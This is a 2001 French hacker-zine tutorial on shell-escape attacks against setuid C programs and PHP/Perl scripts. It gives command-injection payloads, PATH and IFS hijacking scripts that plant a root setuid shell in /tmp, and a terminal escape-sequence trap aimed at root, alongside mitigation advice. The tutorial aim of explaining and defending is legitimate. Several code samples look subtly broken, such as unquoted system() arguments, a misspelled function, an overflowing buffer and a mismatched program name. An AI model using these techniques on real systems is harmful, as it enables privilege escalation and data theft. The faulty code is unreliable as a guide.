Escape Shell For Fun And Profit



  [0x01] Présentation :

 Auteur : GangstucK
 Date début : 11/08/2001
 System : type *nix
 For : Subkulture 2001
 Mail : k0deback@yahoo.fr
 Date fin : 11/08/2001
 Langage : C - PHP - Perl
 Version : 2.1

 Paper explaining details about some escape shell present in some programming langage...


Sommaire :
        [0x02]  Préambule
        [0x03]  Introduction
          [3.1]  La fonction system()
          [3.2]  La commande GNU echo
        [0x04]  Escape shell : caractères d'échappement
          [4.1]  Introduction : Pipelines et Listes
          [4.2]  L'escape : C, perl et PHP
        [0x05]  Escape shell : manipulation de la variable PATH
          [5.1]  Introduction : la variable PATH
          [5.2]  L'escape : C et perl
        [0x06]  Escape shell : manipulation de la variable IFS
          [6.1]  Introduction : la variable IFS
          [6.2]  L'escape : C et Perl
        [0x07]  Escape shell : séquences d'échappement
          [7.1]  Introduction : les séquences d'échappements
          [7.2]  L'escape : C
        [0x08]  Références
          [8.1]  Pages de manuels
          [8.2]  Documents
        [0x09]  Conclusion et remerciements




  [0x02] Préambule :

Vous vous en doutez, les techniques exposées ne sont plus toutes neuves... Il est néanmoins trés utile d'en connaitre l'utilisation, l'escape shell étant de nos jours une faille persistante chez les programmeurs étourdis (typedef à la mode...).

Tout au long de l'article, nous aborderons des codes sources exemples. Nous admettrons que les sources seront préalablement compilés et dotés du Set User ID root (pour en savoir plus, man gcc et man chmod).

Chacun des différents escape shell sera détaillé dans les différents langages qui lui est applicable.

Pour tous types de commentaires, contactez moi à k0deback@yahoo.fr.





  [0x03] Introduction :

Nous aborderons au cour de cette introduction les notions basiques sur la fonction system() dans les langages C, PHP et Perl. Enfin, je terminerais avec un coup d'oeil sur la commande shell nommée echo. Toutes ces notions seront nécessaires par la suite, il est donc important de s'y attarder...


  La fonction system()
    La fonction system() sert à éxecuter une commande shell.

    Utilisée couramment dans des langages tels que le C, le PHP ou encore le Perl, la fonction system() permet d'introduire des commandes systèmes à l'intérieur même de vos programmes...
    Nous allons aborder maintenant son utilisation dans ces trois différents langages.

  • Langage C

        Fonction  : system()
    Header    : #include <stdlib.h>
    Prototype : int system (const char * string);

    System() execute la commande fournie dans string en faisant appel à /bin/sh avec comme argument -c. A la fin de l'éxecution de system(), le programme redonne la main pour la suite des éventuelles instructions.

    Voici, version shell, la reproduction de son exécution :

        [g4ng@subkulture escape]$ /bin/sh -c /bin/ls	
    escapeshell.txt
    [g4ng@subkulture escape]$

    - Source exemple :

    /*
** Nom          :  system.c
** Autor        :  GangstucK
** Description  :  Exemple d'utilisation [ system() ] 
*/

#include <stdio.h>
#include <stdlib.h>

int main (int argc, char *argv[])
{
   system ("/bin/ls");
}

/* Ou : char *listage = "ls"; */
/*      system(listage);      */

/********************************************************************/
/* La fonction "system()" va executer /bin/ls (son argument) soit,  */
/* lister le contenu du répertoire courant...                       */
/********************************************************************/


  • Langage PHP

        Fonction  : system()
    Prototype : system (chaine string, entier return);

    System() éxecute la commande string passée en argument. Le PHP étant un langage de script, la fonction system envoie au navigateur le résultat de l'éxecution. Si l'on utilise l'argument return (à noté que celui ci est optionel), l'éventuelle utilisation d'une variable accueillant le résulat de la commande string contiendra la valeur de retour de la fonction.

    - Source exemple :

    <?php
// Nom          :  system.php
// Autor        :  GangstucK
// Description  :  Exemple d'utilisation [ system() ] 

 print("<pre>");
 system("/bin/ls -l");
 print("</pre>");
 
// listage du répertoire courant
?>


  • Langage Perl

        Fonction  : system()
    Prototype : system (liste);

    System() éxecute la liste qui lui est passée dans laquelle le premier élement représente la commande à éxecuter et le reste des éléments, les arguments à passer au programme.

    - Source exemple :

    #!/usr/local/bin/perl

# Nom          :  system.pl
# Autor        :  GangstucK
# Description  :  Exemple d'utilisation [ system() ] 

@programme = ("/bin/ls", "-l");
stystem(@programme);

# soit : /bin/ls -l : lister le répertoire courant
#                   : ls recoit un argument à savoir -l


  La commande GNU echo
    La commande echo permet d'afficher des instructions sur la sortie standard (moniteur). Je précise par instructions et non par texte car nous verrons par la suite que nous pourrons alliés différents types de sorties (résultats de commmandes systèmes, valeur de variables, simple texte...). Nous allons voir ensemble son utilisation.

        Syntaxe  : echo [-neE] "instructions"

    echo affiche chaque instructions sur la sortie standard puis se termine par un saut de ligne (équivalence de puts() en C).

    Comme vous avez pu le constater, echo posséde 3 options à savoir :

    -n
    		  Permet de ne pas effectuer le saut de ligne de fin (équivalence de printf() en C).
    -E
    		  Permet d'ignorer les séquences listées plus bas.
    -e
    		  Permet d'interpréter les séquences suivantes :
     
    \a
    		  La fameuse alerte (sonnerie)
     
    \b
    		  Retour en arriére d'un caractère.
     
    \c
    		  Supprime le saut de ligne de fin.
     
    \f
    		  Effectue un saut de page.
     
    \n
    		  Effectue un saut de ligne.
     
    \r
    		  Effectue un retour chariot.
     
    \t
    		  Effectue une tabulation de type horizontale.
     
    \v
    		  Effectue une tabulation de type verticale.
     
    \\
    		  Affiche le fameux backslash.


    - Quelques exemples d'utilisation

        [...]
    [g4ng@subkulture g4ng]$ echo "Bonjour, voici une phrase"
    Bonjour, voici une phrase
    [g4ng@subkulture g4ng]$ echo -e "Une \t tabulation"
    Une      tabulation
    [g4ng@subkulture g4ng]$ echo -e "Deux sauts de lignes\n"
    Deux sauts de lignes
     
    [g4ng@subkulture g4ng]$ echo "il y a `cat /etc/shells | wc -l` shells"
    il y a 7 shells
    [g4ng@subkulture g4ng]$ echo "$PATH"
    /usr/local/sbin:/usr/sbin:/sbin:/sbin:/usr/sbin:/bin:/usr/bin
    [...]

    Note
    Plus haut je cite deux fonctions C, puts() puis printf() en les comparant à la commande echo. Ceci est bien évidemment "imagé" si l'on considére les options de puts() et printf()...





  [0x04] Escape shell : caractères d'echappement :

  Représentant une utilitée indéniable à l'intérieur même du shell, les caractères d'échappement permettent nombres de fonctions. Nous allons tout d'abord introduire l'utilisation des Tubes ainsi que des Listes. Nous aborderons ensuite l'escape shell type échappement par caractéres à proprement parler...

Tubes ou Pipelines
    Un tube est une séquence d'une ou plusieurs commandes séparées par le caractère | (appellé couramment "pipe"). Le format d'un tube est le suivant :

      [ commande_1 ] | [ commande_2 ] | [ ... ]

    La sortie standard de la commande_1 est connectée à l'entrée standard de la commande_2 et des éventuelles commandes suivantes [ ... ]. Cette connexion est établie avant toute redirection indiquée dans une commande elle-même.

    Exemple d'utilisation shell :

        [...]
    [g4ng@subkulture g4ng]$ cat /etc/passwd | wc -l
    48
    [...]

    ... dans un programme :

     int tube_filsA[2], tubeA_pere[2];

 [...]

 if(((pipe(tube_filsA)) != 0) || ((pipe(tubeA_pere)) != 0))
 {
   perror("pipe");
   exit(-1);
 }

 printf("Création tubes OK\n");
 
 [...]
Listes
    Les commandes séparées par un ; (point virgule) sont exécutées successivement : l'interpréteur attend que chaque commande se termine avant de lancer la suivante. Le code de retour est celui de la dernière commande exécutée. Il existe nombres d'opérateurs de type "listes", pour en savoir plus, consultez les pages de manuel concernant le shell.

    Exemple d'utilisation :

        [...]
    [g4ng@subkulture g4ng]$ echo "on affiche... puis on liste\n" ; ls -l
    on affiche... puis on liste
    
    total 16
    -rwxrwxr-x    1 g4ng     g4ng        14109 aoû 12 00:17 escapeshell.txt
    [...]


Je me contente d'énoncer ces notions, celles ci sont bien évidemment basiques et se limitent au cadre de l'utilisation dans l'article. Pour en savoir plus, consultez les nombreuses pages de manuels concernant les shells et ses composantes...


 
  • C
      Imaginons un programme écrit en C faisant appel à une commande externe via la fonction system(), par exemple echo. Considérez l'exemple suivant :

      /*
** Nom          :  escape.c
** Description  :  Programme vulnérable
*/

#include <stdio.h>      /* standards... */
#include <stdlib.h>     /* system() */
#include <string.h>     /* strcat() */

int main(int argc, char *argv[])
{
  char nom[256], commande[] = "echo ";  // espace à echo

  printf("Entrer votre nom : ");
  gets(nom);
  strcat(commande, nom);        // on concatene "nom" à "commande"
  system(commande);             // on execute "commande"
}


      Description

      Le programme lit une entrée utilisateur, la stocke dans le tableau nom, l'ajoute à la suite de commande (echo) puis appel la fonction system qui éxecute commande puis rend la main au programme et celui-ci se termine.

      Exemple d'utilisation escape.c

          [g4ng@subkulture escape]$ ./escape
    Entrer votre nom : GangstucK
    GangstucK
    [g4ng@subkulture escape]$

      Vulnérabiltée

      Nous sommes en présence d'un programme qui concaténe à la commande echo les instructions qu'on lui fournit. Rappelons que system() lance un shell (/bin/sh) en lui fournissant l'option -c ainsi que les arguments contenus dans system(). Nous concluons donc que le programme escape.c est vulnérable d'éventuelles escape shell.

      Considérons les escape shell suivants :

          [g4ng@subkulture escape]$ ./escape
    Entrer votre nom : GangstucK ; /bin/sh
    GangstucK
    sh-2.04# id
    uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),
    [...]


          [g4ng@subkulture escape]$ ./escape
    Entrer votre nom : GangstucK | /bin/sh
    sh-2.04# id
    uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),
    [...]

      Solutions

      • Traiter les données utilisateurs avant de les transmettrent aux fonctions à risque en codant vos propres fonctions de traitement (ou en utiliser les nombreuses fonctions de bibliothéques...).
      • Préscrire l'utilisation de la fonction system() et préferer les fonctions de la famille exec (execl, execle, exect, execv).
      • Faites trés attention aux programmes SetUID et SetGID.
      • Coder proprement et ne négliger pas votre code...

      • Utilisez l'utilitaire "findtroll" (in progress) écrit en sh ou "flawfinder" en perl afin d'analyser les sources de programmes.


    Perl
      La démarche est similaire au C.

    PHP
      Traceroute... traceroute... traceroute :p

      Nous développons un script PHP déstiné à éxécuter la commande système traceroute afin de déterminer l'itinéraire d'un packet entre l'utilisateur et un hôte distant. Too simple...

      <?php
// Nom          :  escape.php
// Description  :  Programme vulnérable

$commande = "traceroute".$user_var;
system($commande);

?>


      Description

      On fournit l'adresse d'un hôte distant (saisie utilisateur contenu dans la variable $user_var) depuis un formulaire faisant appel, aprés validation, au script escape.php. Celui ci concaténe la variable $user_var au fameux et redoutable (*zic*) utilitaire traceroute. Le résultat se trouve bien au chaud dans la variable $commande qui est transmise par la suite à la fonction system. Le navigateur reçoit alors le résultat et l'affiche depuis le poste client.

      Exemple d'utilisation

          [g4ng@subkulture htdocs]$ lynx http://subkulture/escape.php?_user=www.el8.fr
    ------------------------------------------------- [ ... ]
    [g4ng@subkulture htdocs]$ lynx http://subkulture/escape.php?_user=212.25.36.20
    ------------------------------------------------- [ ... ]
    [...]

      Vulnérabiltée

      Comme nous l'avons abordé précedemment, ce script ajoute à la suite de la commande traceroute les instructions fournies par l'utilisateur. Rappelons que system() lance un shell (/bin/sh) en lui fournissant l'option -c ainsi que les arguments contenus dans system(). Nous concluons que la présence d'escape shell dans le script escape.php est indéniable.

      Considérons les escape shell suivants :

          $user_var = www.el8.fr ; cat /etc/passwd
    $user_var =  | cat /etc/passwd
    [...]

      Les actions envisageables depuis le script escape.php seront bien évidemment régies par les droits du daemon httpd. Ceci étant, c'est un bon moyen de gagner de plus amples informations pour d'éventuelles attaques futures.

      Solutions

      - Traiter les variables fournies par l'utilisateur en utilisant des fonctions comme stripslashes, escapeshellcmd (adaptée spécialement aux escape shell)... Voici un exemple d'utilisation :

      <?php

// traitement des caractères avec ajout d'antislash
$user_var = "traceroute; cat /etc/passwd";

print("<pre>");
system(escapeshellcmd("$user_var"));
print("</pre>");

?>


      - Coder vos propres fonctions de splittage et d'analyse de chaines (en limitant vous même les caractères sensibles). Voici un code exemple : 

      <?php

//----------------------------------------------------
// Nom          :       filter.php
// Auteur       :       GangstucK
//----------------------------------------------------
//      --== " el8 style c0ding :p " ==---
//----------------------------------------------------


// considerons comme variable utilisateur "$user_var".
$user_var = "subkulture";

// Définition des caractères autorisés
$char = "0123456789.-_abcdefghijklmnopqrstuvwxyz";

// traitement de la chaine
$user_var = trim($user_var);
$user_var = strtolower($user_var);

// splitting et analyse
for($i=0; $i < strlen($user_var); $i++) 
{
    $count = substr($user_var, $i, 1);
    $verif = strstr($char, $count);

    $verif != "" ? $verif = false : $verif = true;

    if($verif) break; 
}

// résultat
$verif ? print("<u>Erreur</u> : Caractere interdit !") :
         print("<PRE>"); system("ping -c 3 $user_var"); print("</PRE>");

?>






    •   [0x05] Escape shell : manipulation de la variable PATH :

      Le PATH est une variable shell qui est au coeur même de l'éxecution des commandes systèmes. Le système l'utilise afin de définir une base de recherche dans laquelle le shell va rechercher les commandes transmises et les éxecuter par la suite. Si il ne trouve pas de commande similaire à celle fournie, vous aurez droit à un petit message d'erreur du type : "BASH: command not found".. qui correspond plus familièrement à : "Le shell n'a pu trouvé la commande fournie car elle n'apparait dans aucun des répertoires de recherche ($PATH)". Pour plus d'informations consulter le manpage bash.

    Un petit test consiste à afficher le contenu de la variable PATH puis d'executer une commande. Considérez l'exemple suivant :

        [g4ng@subkulture g4ng]$ echo "$PATH"
    /usr/local/sbin:/usr/sbin:/bin:/sbin:/sbin:/usr/sbin:/usr/bin
    [g4ng@subkulture g4ng]$ date
    dim aoû 12 00:20:09 CEST 2001
    [g4ng@subkulture g4ng]$ which date
    /bin/date
    [...]

    Les répertoires sont séparés les uns des autres à l'intérieur de la variable par des : (double points). Nous constatons ensuite que la commande date (hébergée dans /bin) s'éxecute avec succés (wow) car le répertoire /bin est bien présent dans le $PATH. On détail ainsi :
      1) le shell parcourt /usr/local/sbin et ne trouve pas de commande mail,
      2) il cherche alors à l'intérieur de /usr/sbin et ne trouve toujours pas,
      3) il analyse le répertoire /bin et trouve enfin mail, il arréte donc de chercher.
      4) la commande /bin/mail est lancée.
    $PATH étant une variable utilisateur elle peut être modelée par vos soins ainsi,

        [g4ng@subkulture g4ng]$ PATH=~:$PATH
    [g4ng@subkulture g4ng]$ echo "$PATH"
    /home/g4ng:/usr/local/sbin:/usr/sbin:/bin:/sbin:/sbin:/usr/sbin:/usr/bin

    aura pour effet d'ajouter le home directory de l'utilisateur en tant que premier répertoire de recherche (ceci représentant une faille de sécurité certaine...). Un tel type de changement sera opérationnel unqiuement pendant une session. Afin d'y remedier, éditez le fichier /etc/profile et opérez aux changements...


    Je me contente d'énoncer ces quelques notions, celles ci sont bien évidemment basiques et se limitent au cadre de l'utilisation de $PATH à l'intérieur de l'article. Pour en savoir plus, consultez les nombreuses pages de manuels concernant les shells et ses variables d'environnements...


     
  • C
      Considérez l'exemple suivant :

      /*
** Nom          :  escape_path.c
** Description  :  Programme vulnérable d'un escape shell type $PATH
*/

#include <stdio.h>      /* standards... */
#include <stdlib.h>     /* system() */

int main(int argc, char *argv[])
{
  system(date);         // on execute "date" (which date : /bin/date)
}


      Description

      Si peu secure... :p
      Le programme appel la fonction system éxecutant date puis rend la main au programme qui se termine ensuite.

      Exemple d'utilisation escape_path.c

          [g4ng@subkulture g4ng]$ ./escape_path
    dim aoû 12 00:15:02 CEST 2001
    [...]

      Vulnérabiltée

      Rappelons que system() lance un shell (/bin/sh) en lui fournissant l'option -c ainsi que les arguments contenus dans system() soit date.
      Nous concluons donc que le programme escape_path est vulnérable d'un escape shell dans le cas d'une modification de la variable PATH et de la création d'un programme fake nommé mail.

      Considérons l'escape shell :

          [g4ng@subkulture escape]$ pwd
    /home/g4ng/escape
    [g4ng@subkulture escape]$ cat > date
    #!/bin/sh
    cp /bin/sh /tmp/.31337
    chown root /tmp/.31337
    chmod 6555 /tmp/.31337
    ^C
    [g4ng@subkulture escape]$ chmod +x date
    [g4ng@subkulture escape]$ OLD_PATH=$PATH
    [g4ng@subkulture escape]$ export PATH=.:$PATH
    [g4ng@subkulture escape]$ ./escape_path
    [g4ng@subkulture escape]$ PATH=$OLD_PATH
    [g4ng@subkulture escape]$ /tmp/.31337
    [...]

      Nous obtenons un shell root basé dans /tmp/.31337


      Solutions

      • Gérer l'environnement shell à l'intérieur même de votre programme via les fonctions écrites à cet effet.
      • Préscrire l'utilisation de la fonction system() et préferer les fonctions de la famille exec (execl, execle, exect, execv).
      • Faites trés attention aux programmes SetUID et SetGID.
      • Coder proprement et ne négliger pas votre code...

      • Utilisez l'utilitaire "findtroll" (in progress) écrit en sh ou "flawfinder" en perl afin d'analyser les sources de programmes.


    Perl
      La démarche est similaire au C.






    •   [0x06] Escape shell : manipulation de la variable IFS :

      $IFS (Internal-Field Separator) est une variable d'environnement shell contenant les caractéres d'espacement à considérer. Considérez comme "caractéres d'espacement" tous caractéres permettant de séparer des lignes ou d'autres caractéres donnant alors plusieurs mots distincts.

    Habituellement $IFS contient "espace < > tabulation <\t> nouvelle_ligne <\n>".

    Si vous vouliez assigner à la variable IFS un caractére différent, vous pourriez alors utiliser ce caractère comme un caractere d'espacement afin de splitter plusieurs chaines...

    Mieu vaut un petit exemple qu'un long discour : 

        [g4ng@subkulture g4ng]$ echo "$IFS"
    
    [g4ng@subkulture g4ng]$ export CREW=sub:kul:ture
    [g4ng@subkulture g4ng]$ echo "$CREW"
    sub:kul:ture
    [g4ng@subkulture g4ng]$ export IFS=:
    [g4ng@subkulture g4ng]$ echo "$CREW"
    sub kul ture

    ON constate que les ":" (doubles points) sont dorénavant interprétés en tant que caractéres de séparations (wow, c'est magique... mickey est dans le shell :p).


    Je me contente d'énoncer ces quelques notions, celles ci sont bien évidemment basiques et se limitent au cadre de l'utilisation de la variable IFS à l'intérieur de l'article. Pour en savoir plus, consultez les nombreuses pages de manuels concernant les shells et ses variables d'environnements...


     
  • C
      Considérez l'exemple suivant :

      /*
** Nom          :  escape_ifs.c
** Description  :  Programme vulerable d'un escape shell type $IFS
*/

#include <stdio.h>      /* standards... */
#include <stdlib.h>     /* system() */

int main(int argc, char *argv[])
{
  system(/bin/date);    // on execute "/bin/date"
}


      Description

      Ca fait déja plus secure, on appel bien la chemin complet "/bin/date" et non plus "date".
      Mouais... c'est pas secure quand même because IFS rulez :)

      Le programme appel la fonction system éxecutant /bin/date puis rend la main au programme qui se termine ensuite.

      Exemple d'utilisation escape_ifs.c

          [g4ng@subkulture g4ng]$ ./escape_ifs
    dim aoû 12 00:15:02 CEST 2001
    [...]

      Vulnérabiltée

      Rappelons que system() lance un shell (/bin/sh) en lui fournissant l'option -c ainsi que les arguments contenus dans system() soit /bin/date.
      Dans le cas ou nous attribuerions à la variable IFS le caractère "/" (slash), celui ci serait alors considéré en tant que caractère d'espacement. La chaine "/bin/date" serait splittée et transformée alors en " bin date". Il nous suffirez alors de modifier la variable $PATH et reproduire la commande "bin" dans le premier répertoire de recherche.

      Considérons l'escape shell suivant :

          [g4ng@subkulture escape]$ pwd
    /home/g4ng/escape
    [g4ng@subkulture escape]$ cat > bin
    #!/bin/sh
    cp /bin/sh /tmp/.31337
    chown root /tmp/.31337
    chmod 6555 /tmp/.31337
    ^C
    [g4ng@subkulture escape]$ chmod +x bin
    [g4ng@subkulture escape]$ OLD_PATH=$PATH; OLD_IFS=$IFS
    [g4ng@subkulture escape]$ export PATH=.:$PATH
    [g4ng@subkulture escape]$ export IFS=/
    [g4ng@subkulture escape]$ ./escape_path
    [g4ng@subkulture escape]$ PATH=$OLD_PATH; IFS=$OLD_IFS
    [g4ng@subkulture escape]$ /tmp/.31337
    [...]

      Nous avons créer la commande "bin" dans le répertoire courant servant à copier un shell root dans "/tmp/.31337".. Nous sauvegardons la variable IFS dans $OLD_IFS et $PATH dans $OLD_PATH, nous lançons "escape_path" puis nous restituons le $PATH et le $IFS d'origine. So, tr0ll d4 w0rld :p

    Solutions

    • Gérer l'environnement shell à l'intérieur même de votre programme via les fonctions écrites à cet effet.
    • Préscrire l'utilisation de la fonction system() et préferer les fonctions de la famille exec (execl, execle, exect, execv).
    • Faites trés attention aux programmes SetUID et SetGID.
    • Coder proprement et ne négliger pas votre code...

    • Utilisez l'utilitaire "findtroll" (in progress) écrit en sh ou "flawfinder" en perl afin d'analyser les sources de programmes.

    Perl
      La démarche est similaire au C.






    •   [0x07] Escape shell : séquences d'échappement :

      Cette technique à été release` par ADM. Voici la traduction de l'article avec quelques explications supplémentaires... Le paper original est présent sur packestorm (http://packetstormsecurity.com).

    Explication du bug

        [root@ADM root]# echo -e  "\033\132"
    
    [root@ADM root]# 6c
    bash: 6c: command not found
    [root@ADM root]#

    Ici, nous jouons avec "ESC\132", nommée "Escape sequence 132" soit "ESC Z" (Z == 132). Elle produit en retour (grace à "echo -e", voir plus haut) sur la ligne de commande, 6c. Aprés validation, nous obtenons une erreur de type "command not found", normal, le programme "6c" n'existe pas...

        Oct    Dec    Hex    Car
    ------------------------
    132    90     5A     Z

    Afin d'obtenir un escape shell il nous suffirais de créer la commande "6c" contenant quelques petites instructions...

      Mise en place

    Nous allons tout d'abord créer un fichier, contenant l'escape sequence :

        [xbug@ADM XbuG]$ touch passwd-list-of-ftp-warez
    [xbug@ADM XbuG]$ echo -e "\033[30m\033\132" >> passwd-list-of-ftp-warez

    Nous allons ensuite créer "6c" :

        [xbug@ADM XbuG]$ cat > 6c
    #!/bin/sh
    cp /bin/sh /tmp/sh
    chmod 4777 /tmp/sh
    ^C
    [xbug@ADM XbuG]$ chmod +x 6c

    Enfin, attendre que le root fasse un `cat` sur le fichier "passwd-list-of-ftp-warez" afin d'obtenir l'escape sequence et donc, l'execution du programme "6c"...

        [root@ADM XbuG]# cat passwd-list-of-ftp-warez
    [root@ADM XbuG]# // sur cette ligne de commande est inscrit "6c"
    /*
    si à cet instant le root tape "return" (entrer) il éxecutera "6c" 
    sans s'en rendre compte car la séquence d'echappement 30m (ESC[30m)
    camoufle la ligne de commande.. par sa couleur noir... héhé :)
    */

    Sploit

    /*
** Nom          :  bloody echo
** Autor        :  ADM crew
*/

#include <stdio.h>

void main () {
 
 (void) printf("\033[30m");  /* black color           */
 (void) printf("\033\132");  /* evil escape sequences */
 
}


    Compléments
    • Cette technique est également applicable en remote... wow
    • D'autres séquences d'échappement similaires peuvent être trouvées... à vos claviers ;)

    Solutions

      C'est une technique trés efficace qui ne posséde pas vraiment de solutions miracles... La seule façcon de sans préserver serait de consulter les comptes utilisateurs depuis une session X (admin rulez :p)...






      [0x08] Références :

    Afin de compléter l'article, je vous conseil ces quelques documentations :




      [0x09] Conclusion et remerciements :

    Remerciements
      Voila les greet's habituels, mais celles ci sont au moins ont le mérite d'être sincères.

      - #subkulture, #:secu-fr, #tipiak, #linux-fr, #ack ...

      Martony (mangeur de pieds), Lionel (ma petite puce), megdi (Trop le delire), Psirac (ouaich fréro), RoX... (yepa roxounet :p), vanille (bisouX :p), Descript (foncedé refré ;o)), Realist (toi même tu sais frêre), Seb-sb (because), ohm (aco teaman), Wp92 (paske tu le vo bien :p), Afterstef (bientot :p), ad-tonnou (l'ami des bêtes), Tipiak (wow), AsmodaiX (on remet ça :p), Bernie (Berninouillette), OUAH (wOUAHou), Reklyd (yo), Crazylord (yepa), N-S-K (muchias gracias merci et trace), Manak (Macdo rulez), ThreaT (sh rulez :p), Kryl (wesh), Saperus (ta sonnerie rulez :p), _rix (thanx :p), Nexxt (why?), Renar (radioman), Peacenuker (thanx to), Veinscuts (scripting boy), Zen (crépier en chef), Acidroot (US boy), Brakk et Klarysse (faisait un bail :p), Gazzton (zton :p), R-E-D (JS sux), ...

      tout ceux qui me soutiennent/aident/connaissent et que j'oublie ici, à tous les fréres à sang chaud, les fournisseurs de p0p0, les tapeurs d'impros, et tout les autres qui teskoua au chaud... toi même tu sais Lio...


    Conclusion 
          [g4ng@subkulture liryx]$ cat /etc/motd 
    La raison fuit devant la folie, l'histoire s'arréte ici,
    paul est entré dans une banque hier à midi...
    [g4ng@subkulture liryx]$ exit

      En éspérant que ce fuckin'paper ait pu apporter quelques notions aux moins initiés...

      Questions/critiques/bonjour : k0deback@yahoo.fr.


      =========================================================================
          - L'état nous baise et tu le sais on va s'défendre... -
      =========================================================================





    - top -